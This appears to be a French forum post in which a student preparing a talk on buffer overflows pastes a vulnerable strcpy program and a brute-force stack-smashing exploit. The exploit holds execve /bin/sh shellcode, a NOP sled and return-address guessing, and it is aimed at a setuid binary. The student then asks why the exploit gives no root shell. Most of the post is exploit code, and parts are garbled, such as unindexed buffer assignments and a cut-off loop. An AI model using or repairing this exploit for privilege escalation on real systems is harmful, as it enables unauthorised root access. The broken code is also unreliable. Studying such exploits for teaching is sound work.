|
|
en fait mon probleme le voici :
j'ai un exposé a faire sur le buffer oveflow mais voila j'ai recupéré un code d'un bof mais je n'ai pas accés à root, je pense que c'est le bit suid, mais je l'ai bien mis sur le fichier!!!!
Alors es ce que c'est la shellcode ou autre chose qui ne me donne pas les accées root?
voici l'exploit
vuln1:
int main(int argc, char **argv)
{
char buffer[100];
if (argc > 1)
strcpy(buffer, argv[1]);
return (0);
}
exploit1:
#include <stdlib.h>
#define BUFFER_LEN 100
#define OVERFLOW 28
int main()
{
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"
"\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56"
"\x0c\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40"
"\xcd\x80\xe8\xdc\xff\xff\xff"
"/bin/sh";
char newret[] = "\x00\xf1\xff\xbf"; // adresse de depart
char diff[] = "\xff\xff\xff\xbf"; // adresse limite
char buffer[512];
int i;
int j;
int loop;
int pid;
int error;
for (loop = 0; strcmp(diff, newret) > 0; loop++)
{
error = 0;
newret[0] += 1;
if (newret[0] == '\x00')
{
newret[1] += 1;
newret[0] = '\x00';
continue;
}
for (i = 0; i < ((BUFFER_LEN+OVERFLOW)-(2*strlen(newret)+strlen(shellcode))); i++)
buffer = '\x90';
for (j = 0; shellcode[j]; j++, i++)
buffer = shellcode[j];
for (j = 0; newret[j]; j++, i++)
buffer = newret[j];
for (j = 0; newret[j]; j++, i++)
buffer = newret[j];
pid = fork();
if (pid == -1)
{
printf("#@! Fork() Error.\n");
exit(0);
}
else if (pid == 0)
{
execl("/home/user/vuln1", "vuln1", buffer, NULL);
exit(0);
}
else
waitpid(pid, &error, 0);
if (error == 0)
{
return (0);
}
a l"execution j'ai :
sh-2.05a$ whoami
user
sh-2.05a$
:-(
comment faire please!!!!!!! :-(
:-(
help
|